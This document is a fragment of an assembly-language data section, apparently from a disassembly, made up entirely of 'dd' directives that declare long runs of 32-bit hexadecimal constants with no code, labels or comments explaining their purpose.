		dd 850993CDh, 0B7D0803Eh, 3A3EB53Fh, 0C01A5D29h, 6F7213C1h
		dd 0E9013C38h, 0FF08A272h, 7E6B3879h, 0C5C19649h, 1CE8AD3Fh
		dd 5E573E72h, 568462A8h, 625F0FF7h, 41206F29h, 0D5A49590h
		dd 0B4C09EFh, 4065D974h, 800FD0A8h, 910464ECh, 0EFE1D37Fh
		dd 0B8ECBAE4h, 995692C9h, 0C9B3592Fh, 541238D4h, 343EC4A1h
		dd 70F8EF52h, 0EC040D93h, 45343EA5h, 8B29ADEEh,	5570A5C2h
		dd 722C3181h, 0EEE3E952h, 9C2991Ch, 0EE77A089h,	0FAC430D4h
		dd 0DAF5BB16h, 622BDB25h, 368D735h, 737483E3h, 8D68460Bh
		dd 562B1926h, 146128E4h, 0E85E05ACh, 4C59AB09h,	0D5C59485h
		dd 6061F007h, 0BFF49745h, 0C54FA49Fh, 0AE6CE520h, 0AB6009D9h
		dd 3EAD4151h, 90A879F1h, 164CE60Dh, 0B84F607Dh,	563A09B4h
		dd 681900B4h, 903B0A5Dh, 78910C17h, 5C1847A2h, 58485039h
		dd 81F22AB6h, 3BA8E61Dh, 2BE1397h, 771BAD3Eh, 7842F9E2h
		dd 519419F7h, 55F2DBE9h, 9B48B376h, 0CE8DE13h, 0A4782BC4h
		dd 0B55E0859h, 68B160EBh, 669D0B1Dh, 91BF7E08h,	9D94A70Bh
		dd 0BAB85002h, 5F3EAC47h, 582EC358h, 0C202E5Dh,	0EEB45D9Dh
		dd 59856815h, 0DDC110F2h, 1769D240h, 0EC2A7A40h, 7FA04FC8h
		dd 0FCC89D8Dh, 56FC11EBh, 8AB1AFA3h, 0E909C43Dh, 21954B28h
		dd 0CF3ADD03h, 39D9F718h, 64250846h, 608F49D7h,	0B82F852Fh
		dd 0F820C916h, 6CB92E49h, 31670718h, 0A94D54CDh, 0CEE50F5Ah
		dd 0FB56892Ah, 6E510CBFh, 0AE09C39Dh, 38B50Fh, 3554778h
		dd 6AB99E65h, 0C5AA85Dh, 6913EF7h, 1A710DC6h, 7E77F390h
		dd 966BD80h, 317C5832h,	0E0FA6ECBh, 880B0956h, 4F9F04D4h
		dd 0BC17FA17h, 4EA8AAEh, 82B3536Ah, 0C3D2C2AFh,	0DE6A8409h
		dd 0E6F72905h, 0B2265CAFh, 0FBD6C8D3h, 5B36C925h, 49DDFBF5h
		dd 0C46C02DFh, 15A0057h, 439758C7h, 0F4185B2Ch,	0ED17CA9Eh
		dd 0B1EC752Eh, 18FA871Dh, 15E908D7h, 4F33DE4Fh,	0CB30D1C3h
		dd 89F33B9Dh, 0B520C677h, 0DE33151Ah, 0E7E0315Bh, 1BC209F7h
		dd 7B8012A7h, 1C3FA2B4h, 31C9E910h, 0BBEE0116h,	0B3B9DD2Ch
		dd 9AD5A841h, 0AF6A936Dh, 6878CDDEh, 4D5262E6h,	0D000F577h
		dd 28F280EAh, 5AD8309Ch, 0EDA41258h, 5BF8178Ah,	135395EFh
		dd 0C77CFE13h, 0FC2AE58Bh, 884B542h, 6F16E1AAh,	526890C0h
		dd 5A46953Bh, 0CBC4744Bh, 73FBFCEFh, 822F0308h,	9BF2453h
		dd 697CC6B1h, 1C1B0B3Fh, 67188545h, 0DE4DCCAEh,	78E02AD3h
		dd 0E9CA4E09h, 65928668h, 48E56175h, 30702E46h,	3C6BF8B8h
		dd 46C5DD34h, 0FCA80865h, 1A795F25h, 793F2BEDh,	0E92B895Bh
		dd 0B7F670B2h, 0D4FCB094h, 0FB2FA7B4h, 1FF8A3C4h, 0FDF6D241h
		dd 0E2378B81h, 42E151A7h, 75E4CB01h, 0F812E74Ah, 53B102BCh
		dd 6F68C852h, 402B7016h, 0BD3475E8h, 0AB3AC156h, 0ABF36A45h
		dd 2C34B305h, 3DC7BBD6h, 6BBBE941h, 0BEF7AA50h,	0A3A70A99h
		dd 1E89FA89h, 630A47E2h, 564A1342h, 618236BBh, 6CF21041h
		dd 1ABF4E09h, 0F8750CE2h, 0D50126EEh, 8B8724BCh, 9C825D5Eh
		dd 2104F188h, 1B30E591h, 0D7EFC79Fh, 0B2F956A5h, 0B2FDDFD6h
		dd 7FEF1551h, 5EADF867h, 851058D1h, 0C9D8DBA9h,	7F08A5C3h
		dd 0EF5003A4h, 63C956FCh, 0CE68EC60h, 0EA2ED997h, 16391067h
		dd 0C209028Fh, 550BA923h, 0DC20C76Bh, 0AF5D970Bh, 2D934741h
		dd 9D6F5509h, 0D78FB432h, 0F57F26C6h, 0FE2AB580h, 0ABB355E8h
		dd 0E4FA43ABh, 9AE90633h, 3CBA2419h, 1448609Ch,	0BCDE0D17h
		dd 908EA14h, 991B5368h,	42E4525Dh, 48C0074Eh, 0C1BD555Ah
		dd 61602C18h, 0CBA87F6Ch, 0ACE98BD8h, 0EF697660h, 5C571B2h
		dd 0F568590Bh, 58A378h,	3D3B70DAh, 9FF484E9h, 0DB099966h
		dd 0F42DB551h, 7CCD0ED3h, 0FA68F564h, 6DE9D602h, 0CF5D482Eh
		dd 551E0BF6h, 20A4F3Dh,	0EF89273Eh, 99F6996h, 0CBF40035h
		dd 90304801h, 0BF30675h, 0C0C9E76h, 28AE31Eh, 65DD8989h
		dd 0EB31058Bh, 92A0BA5Dh, 0EE6082FDh, 5E2D0FCBh, 88205C14h
		dd 0BB014C96h, 6D63307Bh, 733FF36Eh, 2E20358h, 8413C74h
		dd 0CB04050h, 7291255Bh, 0C100FAD4h, 960D06E0h,	27180205h
		dd 9CE2FE35h, 70529840h, 0CB141897h, 498E99ACh,	949D0104h
		dd 9A2FC81h, 0F8621017h, 446495C8h, 0C9E99DA9h,	0D0EB64BBh
		dd 71BAEBEEh, 7D210498h, 0D1E6AD28h, 21A5C312h,	0B4DC8BE0h
		dd 0AFFCA553h, 3E2DA9A0h
		dd 7188DF43h, 35592708h, 7C441862h, 0E8A24B75h,	812972BFh
		dd 15D76B1h, 890B7960h,	7B6F692Ch, 0D6C4EE5Ah, 98203782h
		dd 0A405B59h, 0DDF7277Fh, 7AF0086h, 0E78152F3h,	7B3A5A09h
		dd 0CF63802Eh, 488D70C8h, 85027436h, 29BBAD63h,	0D0273C67h
		dd 0B455500Bh, 20C8415Eh, 0B3C02174h, 6471BFF3h, 0A379034h
		dd 16437FD2h, 2154038Ch, 240E6348h, 821B5EAAh, 5F6986E9h
		dd 960BA1CCh, 5C3C292Fh, 0E09D44D3h, 0E53CC033h, 50E31606h
		dd 1F4FDED0h, 0AC964F97h, 0ECE9E0BEh, 0F4EBFE6h, 22BB5C4Ah
		dd 0CDA358F5h, 13AC83E9h, 36C65BADh, 0F705DFDBh, 72665967h
		dd 5EBAC8EFh, 0F9CAAECh, 1F23BE01h, 0E3601D10h,	1C8FE6C3h
		dd 0A6D0F754h, 2F9308C3h, 2E406804h, 0CAC9A7B8h, 0E5B995A2h
		dd 0BD022440h, 1A365702h, 41CD3170h, 5900407Fh,	0F05A8850h
		dd 0A25E16F8h, 0FDEEC97Ch, 3CB00F44h, 0F0FC075Bh, 69630DF1h
		dd 12FAD37Ch, 88BAA0EBh, 9458C624h, 52D1AB17h, 5200828Bh
		dd 2E0090BAh, 0CA8174C8h, 0A18409F2h, 813C3E8Eh, 0B8B4854Ah
		dd 51E9F049h, 779BCE2Ch, 20640ABEh, 5EA81F5h, 0ECC8C280h
		dd 0A5D366D5h, 0FC3559C0h, 1788B544h, 405E1307h, 13091FD3h
		dd 7C24E92Dh, 9A5CDB1h,	0D5C97744h, 7E53352Bh, 0E36B69F1h
		dd 82C88E6h, 0BF01BCE6h, 7512651Eh, 176B9720h, 1562F4Dh
		dd 0C09285A0h, 76446088h, 57582504h, 0DE84F901h, 0E55F0809h
		dd 80A53F17h, 8B75D0C2h, 5DCDDDEEh, 42DAE989h, 0CE7C7511h
		dd 3F1FCF0Ch, 75182568h, 0D24249h, 0F342DADh, 1548374h
		dd 29D4EF76h, 56F9EE04h, 0F85E15B2h, 0A2387BF4h, 72EE4A69h
		dd 0FDA982A2h, 32077702h, 1E638E74h, 0BC105B25h, 508E402Fh
		dd 1089491Fh, 2C2D096h,	97206E59h, 0C3B3B460h, 0C0DFF680h
		dd 0CEEF8004h, 3CA1F828h, 3A7A88Ch, 0D798EC70h,	0E720F59h
		dd 12229968h, 0A5C1F2BBh, 0B7443F75h, 0FDAA3033h, 12E9A16Ah
		dd 5F01093Ah, 4FF4757h,	0E87E5D68h, 75E9C236h, 0A8325455h
		dd 50BC0B0Fh, 95A98554h, 0EA259A02h, 77ACC109h,	7270DCEDh
		dd 595540D1h, 259D7095h, 307108AAh, 926C642h, 0DABD15F0h
		dd 0AFB1BDDCh, 0AC05FCE8h, 0FE076FF8h, 0E4E9C729h, 1895F2Ch
		dd 32BD5BD9h, 2EA473D7h, 3D328DF1h, 579ECB10h, 72EF5B87h
		dd 0E3FC5555h, 29675DC0h, 4FE99012h, 5379EB77h,	682B8C2Ah
		dd 1B77FB0Bh, 71362B67h, 239F6204h, 7AA55E55h, 9423D8D7h
		dd 0E828BE0h, 926F5BD4h, 0AC2BDBE1h, 0CDFFE546h, 62C12BD2h
		dd 77329025h, 51180119h, 0B5FCAD9h, 0BBE777C3h,	5377098Fh
		dd 0C669E3BEh, 75A69BBh, 0A012BE2Dh, 245F408Dh,	409F0261h
		dd 815D55BDh, 0E891422Ch, 0C22813E1h, 0CF3E765Fh, 6CC2C58Bh
		dd 34BF1770h, 0B8E912DAh, 0D23B581Dh, 85C156CCh, 0C0072FA8h
		dd 96DEFD6Fh, 402303BBh, 0C9B00F9Dh, 922C74F5h,	7D05D030h
		dd 0A200FB6Fh, 0A62F44E7h, 0B0E906Eh, 3AF90C86h, 7DE36B7Fh
		dd 265EA0Ah, 0E9803855h, 0F3F7F978h, 2AC3D49h, 55C9328h
		dd 532BDE4Fh, 9A40062h,	0D238C14h, 3E19D5Ch, 0EA640551h
		dd 7086DC20h, 3CE926BBh, 1089361h, 0E8F180ECh, 2C383028h
		dd 0B74CFE72h, 72043A30h, 0DEE13CF1h, 0D988258Bh, 28DE69DCh
		dd 540B5112h, 0B4D91843h, 0E5883587h, 0A8B7BB32h, 0D75C8Bh
		dd 0A1B35374h, 5EEB0980h, 3341DD30h, 8D09151Ch,	0D11282B2h
		dd 0EDBAF569h, 0CA22F1FDh, 71EC03B2h, 0F2B0778Ah, 0C348CD1Bh
		dd 356326F8h, 1C9777A5h, 9691E904h, 0B58377EEh,	4A41BC6Dh
		dd 0CF846CD3h, 0E6AF3164h, 68057EC2h, 0D7E92B74h, 0C2C266D4h
		dd 2610D31Ch, 0DEC27D0h, 3599E918h, 18F8EA9Bh, 0A67F1250h
		dd 400D46E6h, 1CF2295Bh, 811C0806h, 0D03A5E14h,	0A426449h
		dd 80FD1E4Ah, 0E4C0B897h, 2B59F4FFh, 66F31C5Ah,	9402BD5Fh
		dd 7A220B2h, 0F21F3BB8h, 0D5EFA205h, 0E2C820E9h, 594469DDh
		dd 0EC105D62h, 42C840EDh, 30AF1D19h, 3BD45F0Ch,	0F4314EC5h
		dd 0D2121E5Dh, 29B9C7B3h, 8BFE935h, 80288ED9h, 1854DB09h
		dd 91AF035h, 76846FACh,	0C6B22941h, 9B0EBF08h, 23BA9217h
		dd 34D7CFC6h, 7A6BE201h, 1F14FD65h, 0AB3CF58Dh,	17E9FE06h
		dd 8D83759Eh, 19E41BB2h, 0FA52A72Dh, 56B82756h,	74F8671Bh
		dd 0D8B733CFh, 0AE9E95E9h, 0F4105D9Dh, 2370C668h, 0C9F35495h
		dd 0B41B8D5h, 10D264Eh,	3509016Dh, 0C2E90348h, 0C2873E5Ch
		dd 37A4BE8Bh, 73AB0BC4h, 1FD4BBEFh, 67CBC29Dh, 72E55E69h
		dd 0D2718679h, 56A6007Bh, 0FF6E1668h, 9C5E9425h, 9C4A903Bh
		dd 85705873h, 0F5F04D81h, 892A174Ch, 0EA25FB7Eh, 2CE7A82h
		dd 0A0FFDBF7h, 2FDEB3Ah, 214F25CFh, 60BBF2FCh, 0F34E8EB0h
		dd 41E9776Eh, 2ACA6C3Dh, 547D918Bh, 4A1EAB2Dh, 70EFF434h
		dd 5F016D97h, 0EAE94344h, 0BB3EFF27h, 4FDEF975h, 884A8C4Eh
		dd 0E925D098h, 0BD5800F3h, 63476FCCh, 6CF1387Eh, 0CDB017EBh
		dd 0CA252378h, 0BE88714Fh, 267FE503h, 180B5C6Ah, 55B94558h
		dd 7EA93582h, 0F00A0277h, 0EF195D32h, 0CC681036h, 79EF007Ch
		dd 81E6D15Eh, 670233EEh, 0E94E774Fh, 52470B3h, 7A68EF01h
		dd 0D530BE3Dh, 93A3758h, 5F1E930h, 68616BFCh, 0E17C7DD2h
		dd 760E4BDEh, 58792E5Ch, 0E85A617Ah, 96E27E5Dh,	0FC0FE984h
		dd 29FF4BD1h, 8AE96E0Fh, 0E96068D6h, 8D138834h,	792683FEh
		dd 768AFF9Ch, 2819B613h, 0BF8663C6h, 74A7C8FCh,	0F365033Eh
		dd 37E14AEEh, 0BD188FFCh, 19180493h, 49286080h,	10425F9h
		dd 3F17A354h, 0D09FCEB2h, 0CC45506Bh, 0B3E8485Eh, 0D80866C5h
		dd 0B9417CD4h, 9F1EA07Ah, 3DA50D00h, 95563BBh, 0EBE91612h
		dd 0E98C78C0h, 90320B29h, 0AA7F3B07h, 60030099h, 9FA1F471h
		dd 77E92D60h, 1FB451B2h, 60595F52h, 9F5D3E92h, 6813E0AAh
		dd 68EB3C5Eh, 19C05C3Dh, 4294BA52h, 0BD7D792Dh,	3BD040B2h
		dd 80E3157Fh, 0B518AEEAh, 16760D3Ch, 0B1612316h, 0A32DC411h
		dd 2EBFB813h, 9E6D6244h, 6744AA13h, 8ABB5A49h, 47121051h
		dd 585D500Bh, 1716C704h, 0A51216BFh, 1C3D79A0h,	0D72D0689h
		dd 0D9DDBDB2h, 487F5ABBh, 95AA3250h, 29193EF3h,	0C9F85AF0h
		dd 4012C038h, 0CF7DF72Dh, 0B92D117Bh, 0D732C8C2h, 4AF9F10h
		dd 9E2065ABh, 28A1C380h, 84ABD858h, 5C0C708Dh, 339856BDh
		dd 0C59F4563h, 3C788F4h, 5A839201h, 0BF4A1329h,	4663ABCFh
		dd 114002B9h, 6901CCC6h, 0C52D4355h, 0E9E0DD33h, 0B3FC4EDCh
		dd 72879CFh, 9C012D79h,	58762F2Eh, 4345250h, 0B7101E9Bh
		dd 62D9422h, 5A76C14Ah,	8ADB6021h, 5FD9C29Fh, 72695F79h
		dd 282B2D7Ah, 0DFF4386Ch, 2B90C355h, 1FC690B0h,	4BF120C7h
		dd 7BFCA05Fh, 0DC2F7A80h, 0FAEB01FEh, 4E759A95h, 5D35FE53h
		dd 442CBBBh, 46CDE9FBh,	52CEA8D1h, 562DD223h, 24C995D5h
		dd 8854A56Fh, 80CB3150h, 36C9CA01h, 6221060Bh, 0A4E080Ch
		dd 700674Ah, 0E9767836h, 16099AFFh, 0F85C2959h,	86EBD6E9h
		dd 5CB7ECBEh, 0ACE909CAh, 17403C48h, 0A22E98BFh, 37F3264Fh
		dd 9183168Eh, 781DBADBh, 8671CBBFh, 0BE216662h,	0F00F6798h
		dd 7FB968C8h, 34015BBFh, 16B5A269h, 93205D37h, 97C07C92h
		dd 4F0F8DD0h, 803C1246h, 0A567BBE2h, 9CAEC25h, 7F9F4061h
		dd 1748D85Dh, 13E95508h, 713F972Eh, 0CE56BFDBh,	0F086C7Ch
		dd 0FEB8138Bh, 0FAFC2A85h, 5D99D69Fh, 16BE49BCh, 0D7AF5676h
		dd 63981E14h, 453AE009h
		dd 73148255h, 727C55BEh, 49672442h, 0F53AC403h,	7D382F17h
		dd 292530E9h, 5FFD093Ch, 7E6BDDF1h, 276810CCh, 2A53359Eh
		dd 6AD6E942h, 16F657B5h, 0B4AAFDC5h, 162ED32Ch,	0F30E25B6h
		dd 8D048515h, 0EE005DFDh, 78C479EDh, 0CAF1C601h, 0BB580884h
		dd 0B7B93CD1h, 41AC8004h, 5396873h, 0E0B85B79h,	26B21112h
		dd 931B250h, 6B27850Ah,	84D7BE04h, 0A8DFB596h, 97A59798h
		dd 92BFF9D4h, 0DC3472F7h, 55CB8804h, 1231BD07h,	0E07D663Fh
		dd 811884CEh, 0FBA44486h, 0F61306CBh, 682D04D2h, 0C423A8F4h
		dd 2BB8D4B3h, 275BC51Ch, 7ABEBAD5h, 0B468158Ch,	0E9121D25h
		dd 0DAC2060h, 0CF013216h, 2E390550h, 0A17F2C56h, 7AF22B48h
		dd 0D346E438h, 0B0F02CEAh, 2B56440h, 59E8889Fh,	15E9CA34h
		dd 9A96CACh, 0D5B3EB80h, 253FF571h, 4288717Dh, 1EE1F201h
		dd 0EFDD6F7Ch, 0F1DFB06Eh, 77BB671Ah, 0D6EF2976h, 7B5AD104h
		dd 0E92F5A2h, 0E004E7FBh, 493D812Ah, 0B1007E6Ch, 374F4AF2h
		dd 3668B519h, 705ECCAh,	8EE946ADh, 163BB5B1h, 0C3CA41h
		dd 62BB5356h, 4023272h,	0F75BDE89h, 674D83D6h, 8ABA1750h
		dd 2EA75D81h, 70AD4B7Eh, 0ABA65923h, 0D001660Eh, 3AF62D63h
		dd 13465ABBh, 0BE1F7FF4h, 81C3265Dh, 0F0340CEh,	0B6D5EE0Ah
		dd 7E4FBCD6h, 45370516h, 8ED1A1B3h, 68556602h, 2CDE0ED9h
		dd 0DED48565h, 0C6A3745h, 1C4EE0FFh, 0FE94FD67h, 89F45FD7h
		dd 85DF8BB2h, 827C1135h, 4049F7F9h, 8177CA5Ah, 953BCD2Ch
		dd 6DD81E9Bh, 0FECAB7E0h, 3A80C739h, 4CFB7F0h, 8058EF73h
		dd 122C5BF8h, 8F304DBh,	210BB12Ch, 5823D4D9h, 0DCE25A1h
		dd 6378E4D0h, 0B9E68100h, 7550C11Fh, 2C16CD98h,	20BA0995h
		dd 0E2F80C72h, 157104Ch, 4C472A45h, 0EFF9F729h,	4E90840h
		dd 0C912BDF0h, 3F171941h, 0A96ED3DDh, 2C72E10Ah, 581A8A7Bh
		dd 0C6ED5E37h, 8BFDDA84h, 1BF34A93h, 6D9B6809h,	0A0056E66h
		dd 50738019h, 57325182h, 182F90BBh, 0B909588Ch,	0C8A36C6Ah
		dd 6806B0B4h, 259F26ABh, 649413Dh, 38529D9Fh, 0B2D581AFh
		dd 28E23428h, 3D5A1007h, 58D9779h, 0CC0C4AEh, 131E5D08h
		dd 1F020B79h, 0DC47A72Dh, 206FFE65h, 0E95B0907h, 874B8DA3h
		dd 7F2148B9h, 0D587D7ADh, 629FD25Ah, 0B2098171h, 7901FD6Eh
		dd 3E8CE280h, 647601BBh, 2534C4E9h, 56E07BC7h, 12B00278h
		dd 58C609ADh, 0D3B91040h, 0A9DFFF24h, 2E43E904h, 7D88D194h
		dd 12136204h, 61E3B353h, 8B09EF92h, 0A7A476EFh,	0EAB9395Fh
		dd 0CB4D57Eh, 0DEAFC51Dh, 7E48C6BDh, 9F44B51h, 51DE5AF4h
		dd 7F671A5h, 337BCD80h,	6376BC5h, 28D1840Bh, 0F16B5BDDh
		dd 0EBC1DA8Eh, 55A2A73Bh, 10B59CCh, 0C26A9B18h,	0E6778026h
		dd 0FA4EFE2Ah, 82B598DFh, 0D062D508h, 0DF0200F3h, 602FBC10h
		dd 7C5FEE6Fh, 0DF0CDFCEh, 88A6CA7h, 3109EC61h, 99AF57CAh
		dd 12F0A26Bh, 422471BDh, 0B0FE65C1h, 9A982A50h,	21214B1Dh
		dd 3832620Dh, 5072C42Dh, 56B60D00h, 7CB73FADh, 342E27EDh
		dd 2ED459A1h, 0F9A92EB6h, 5BD3E982h, 462C2790h,	8582E7B4h
		dd 5743B977h, 0F52120AFh, 86175F70h, 16DFDA0Ch,	1AED2D92h
		dd 0B881FA7Bh, 21201287h, 610E7138h, 0C1D26F37h, 0C4CB810Dh
		dd 6976E20Ch, 0D212A0F2h, 4E8A530h, 0F374E10h, 452565Eh
		dd 0C5B22532h, 74FA2778h, 0BEC065D9h, 139C3CD0h, 82D4E96Bh
		dd 0D07705F0h, 27D9B75Eh, 4B6D7DF2h, 6C6555A5h,	0D714618Bh
		dd 64E96118h, 0FEBF899Fh, 4651503Bh, 0ADCDFBB7h, 7B31806Ch
		dd 0B4C7E71Dh, 7C72DBD8h, 138B5A5Dh, 0EDF2BFEEh, 0A3113AC4h
		dd 54561846h, 24BCBAF2h, 58F9030h, 671516E9h, 0D15C79FBh
		dd 0ACBAF72Dh, 4A0B9677h, 29160B66h, 0FBACB85Dh, 41A08210h
		dd 0DD914835h, 742D4202h, 62647977h, 0C6BF4136h, 1A7F6800h
		dd 1342B93Dh, 80A86987h, 0BC3239C0h, 2F0B0560h,	5649384Eh
		dd 7D0720D6h, 7C8B0B5Bh, 8556EC8h, 4C3207B5h, 32F706DDh
		dd 37BAFD0Fh, 0D08D8B4Fh, 0D3B10B20h, 185ECF28h, 8040ED09h
		dd 58E9EF23h, 422CCB8h,	74A7E9Eh, 80E64330h, 36BE73F3h
		dd 4006AFC3h, 0E92408F2h, 0F9A48334h, 6C40EB03h, 0E06F8F0Dh
		dd 0C2D2A48h, 0E9DA0B09h, 0C5FDD312h, 0E612BFE2h, 0EB23E441h
		dd 5C17E470h, 52BB05D6h, 0EF8BC104h, 87BA048Dh,	11AF831Ch
		dd 0D55B7B7Eh, 0DE298481h, 7CADAD2Fh, 48268425h, 70730646h
		dd 144E9C4Ch, 590608C2h, 299474E9h, 0E6E47AF9h,	25A1968Bh
		dd 4091EADFh, 95EF1ED0h, 3E962A74h, 0BD2FADB1h,	0E983B17Ah
		dd 0A154646Ah, 26FD3BB3h, 0A3E8BAE4h, 0A29DE9C3h, 0AE8949h
		dd 8E1C159h, 98C8F181h,	1D91296h, 168324CEh, 0C385892h
		dd 0B8A839FDh, 4F970FA3h, 39A9BEACh, 704E049Dh,	2384EA5Dh
		dd 3F278280h, 0EA225C0Ch, 6B19D306h, 10AF02Eh, 0E3F8DD58h
		dd 7F658F00h, 98CB2940h, 0F4088276h, 23DC0536h,	0AEF0EBC8h
		dd 8A3EBh, 4871D41Ch, 29A4E927h, 7FC7A99Dh, 3C5D02C1h
		dd 0C3E9A469h, 485CD105h, 0D201A244h, 16AC1BEh,	9D613ACBh
		dd 92505415h, 0F245D5F7h, 0D489CA9h, 0E947FB68h, 82007F1Ch
		dd 3E5F6AB8h, 0BF570265h, 5CA7981h, 0DC058B7Dh,	744E024Fh
		dd 8955DAFDh, 0E702DFA3h, 0A4DFD2E9h, 0A2FFE392h, 7FC2DA29h
		dd 0EAC08C29h, 0C5B5D367h, 180EA62Eh, 0EAB01A86h, 4888B738h
		dd 68660A8Ah, 701FDFFCh, 63B8FF27h, 6E95A208h, 0CB032718h
		dd 0CD20375Ah, 92DEB7C5h, 0D30BD72Dh, 9F749E55h, 7F50E0F6h
		dd 75C2E161h, 5EE58579h, 0FA4B75B9h, 87AEB253h,	1B8C938Ch
		dd 0C801C612h, 38546437h, 0C236FCBAh, 0FE088268h, 0D8966793h
		dd 0C805313h, 4EB81928h, 0A7A7877Bh, 2C0A3A6Fh,	0D760AD2Bh
		dd 904BD6E9h, 48519AAAh, 7753B25Ah, 4FA1656h, 31AF1BD3h
		dd 589E51E3h, 681753C0h, 60F95E16h, 9FEC2F4h, 55E4B075h
		dd 454695D7h, 0B55BC720h, 760724C0h, 3CEC3D4Bh,	5E4E3E20h
		dd 0EA601B02h, 7946C118h, 266A5702h, 9809EC57h,	361D059Dh
		dd 0AF01066Ch, 0A1FE6D93h, 0C812C78h, 0A00828C3h, 36F43A2Dh
		dd 0E0BE4FE9h, 0A0B15975h, 499D30C2h, 6DCCB2Fh,	80A09FFDh
		dd 0F0D1D341h, 5F08C297h, 40047FA0h, 0E91263F5h, 0DA975DCBh
		dd 8972DFE9h, 0A6488C1h, 0C125243Eh, 42FBFCE7h,	0D58EE965h
		dd 0FB7F6E4Ah, 5A9FBFB7h, 0A9542D6Bh, 45773605h, 0DB31A281h
		dd 7EAACA3Eh, 85DD64F9h, 2C717D12h, 0A68067B3h,	29611236h
		dd 0B0A696B7h, 3DBA2642h, 61288224h, 0B68E1860h, 33751262h
		dd 0F221E877h, 0B25916BCh, 0C05AA057h, 7C9D4D70h, 6302C273h
		dd 27C647DFh, 5ACB1AFCh, 2D192537h, 0FA6C8876h,	22B50151h
		dd 56E2050Ch, 30A07E43h, 0F207A22Dh, 97D37422h,	18F81522h
		dd 26DB87A2h, 0E3864451h, 0BF76350Ch, 0FCA70EF9h, 75920A08h
		dd 0DCE0ADAEh, 0B63544C7h, 0FDA32E46h, 2FE90C40h, 782DE8F5h
		dd 0B3C701D1h, 315E0025h, 525F3DFBh, 5D4A8F18h,	0F1D48EAh
		dd 0E281665Bh, 7D401FD9h, 0AE551880h, 0D32146BBh, 3E4070BFh
		dd 1304725Dh, 8CD5CCE9h, 0FE9787A8h, 12A068ADh,	0C8CBFF53h
		dd 9C64E24Ah, 0D352FADDh, 0B8DAF4EEh, 3AC5DA09h, 0C3155874h
		dd 0C7895707h, 445F2E26h, 59549809h, 2290BC4Ah,	0A1BD0002h
		dd 95E4712h, 0FC5D75EFh, 0E7EA4DA7h, 0FE6716D2h, 9FBC859Ch
		dd 3BB90B8Dh, 5F063CBBh, 3C56E918h, 91ABF1Ah, 4F174C14h
		dd 2976F1D2h, 0A380F94Bh
		dd 0FCD424DCh, 17AA2568h, 950935C6h, 7FD88EC1h,	6815A6A2h
		dd 1D82B901h, 48119C4h,	7E5C1FE1h, 71D88060h, 3758E61Ah
		dd 4A032402h, 946CA0Eh,	2DFB5607h, 0E941DED1h, 242B5726h
		dd 6097FA87h, 4673A5CFh, 5360A271h, 778D8705h, 2C1C1E4Bh
		dd 0BAA46CBCh, 22DC782h, 0D161E9F1h, 440F2E44h,	65348C7Bh
		dd 0A2BF9769h, 0D832DA5Ah, 3A559FB4h, 688C21B2h, 0F23B40CFh
		dd 8DAF966Ch, 0D5D930C1h, 5AEBC180h, 1DCFC02h, 7B533C7h
		dd 0CC40E7D1h, 76431224h, 7CF77651h, 89F30748h,	51095FFEh
		dd 48D344E9h, 0FCBDEB54h, 18D924DCh, 19F2DB65h,	30843416h
		dd 0B006E13h, 6AE91F69h, 88A8C34Eh, 1DC15AF4h, 1D283D14h
		dd 7BC41FACh, 0F200C221h, 779245A4h, 53AB6848h,	4C324D89h
		dd 0A3E20323h, 1D2D294Ah, 0AE028230h, 0D8131378h, 0B8406D03h
		dd 63F05BEh, 563139D9h,	0E9E021F3h, 16172E90h, 48B476FAh
		dd 5619B226h, 24B34B08h, 4D950912h, 5143125Ch, 0D112A16Eh
		dd 0BE004F68h, 0E9492A4Ch, 679D8942h, 0BADF25EEh, 889054FAh
		dd 9B3AC294h, 26709F4h,	0AF4C68EEh, 0FDF8426Dh,	0BD2F735h
		dd 0B6FD2707h, 0A12A1608h, 0F9B73EA5h, 0FA6C3C13h, 282F2062h
		dd 4DF32582h, 93443365h, 6802193Ah, 490F785Ch, 2C3F230Eh
		dd 0B25B926Dh, 9AD9D7BEh, 0D60A7E42h, 7D93BBA7h, 0EC45DD13h
		dd 7BE1530Ah, 0FBF53AADh, 4517BF41h, 0CAD87940h, 0CC6A1289h
		dd 472B1D7Eh, 0E02BB619h, 8200325h, 21922D7Ch, 0B201584Ah
		dd 925BE82Fh, 1C0AE23Eh, 1BAD87E9h, 49C37C34h, 890F250Bh
		dd 991C50E8h, 6FF69D02h, 4B5B11B4h, 0F788FB21h,	15542CE9h
		dd 23EA632h, 103F65DAh,	582582F4h, 0E90A8050h, 0E010BF09h
		dd 732042BDh, 1381618h,	0F902EF0Eh, 0E2166A5Ch,	513E6072h
		dd 966627E9h, 0DD209CD1h, 134A520Ah, 4902E90Bh,	41BF0770h
		dd 0ED04992Dh, 3A30191Bh, 1D7041C0h, 0C5ED17EFh, 10C6ED9Ah
		dd 424A5CF0h, 991AA78Ah, 300B2841h, 114A83C8h, 0E6A5DE67h
		dd 44E34B8h, 0F529653h,	0B7F21631h, 13C0F4C4h, 0CF6F08D9h
		dd 3B004FD3h, 1149B951h, 0DE3F6090h, 6B0D3328h,	813CFA99h
		dd 0EAAC5776h, 5807CA01h, 541CE942h, 80772F66h,	0B15184F4h
		dd 8419D37h, 985120E1h,	48682FC4h, 0B6ACCCAEh, 5F50AD26h
		dd 58E71439h, 0B7530FBEh, 0E9F942A1h, 0F808F067h, 1D6C0F35h
		dd 81642B06h, 8334A8ACh, 12347568h, 0AFED4A8Dh,	5C1017A2h
		dd 0D1BD01B7h, 4D0A0D19h, 9586B03Bh, 8198A8A3h,	6212B8F5h
		dd 44BBE994h, 13787CDh,	3433DBB9h, 0E70040FEh, 0CD52C28h
		dd 53C30782h, 0D9F7C2A5h, 0EA3F483h, 0A15776DAh, 0E26530EFh
		dd 3BEA9F20h, 0F8DB2DA2h, 0AEE502B7h, 4021E817h, 95DE69D5h
		dd 834A8A51h, 0D2A4A112h, 27D978F1h, 6B7222DEh,	80A63E5Ch
		dd 2C284CF3h, 2A02B723h, 0DE5FC821h, 9BE6C90Eh,	8A7AB390h
		dd 1E1C058Bh, 0AA13DF1Ch, 0FD5F5532h, 0B6CA98D1h, 33769D04h
		dd 7DD53F82h, 0F185F489h, 94DF87CCh, 5B84B327h,	0E9F016BCh
		dd 769D65EAh, 5D65C9FDh, 9F7FE985h, 0E9F067B9h,	8AA9FC17h
		dd 0F827C0F1h, 73AC9E4Bh, 843E4B81h, 96EAE653h,	41820809h
		dd 4744482h, 579AF76Bh,	40F9ED00h, 8C982ED2h, 3C95BF81h
		dd 6D5E267Bh, 172AEE48h, 95E7DA9Dh, 0D6992661h,	1C8B7255h
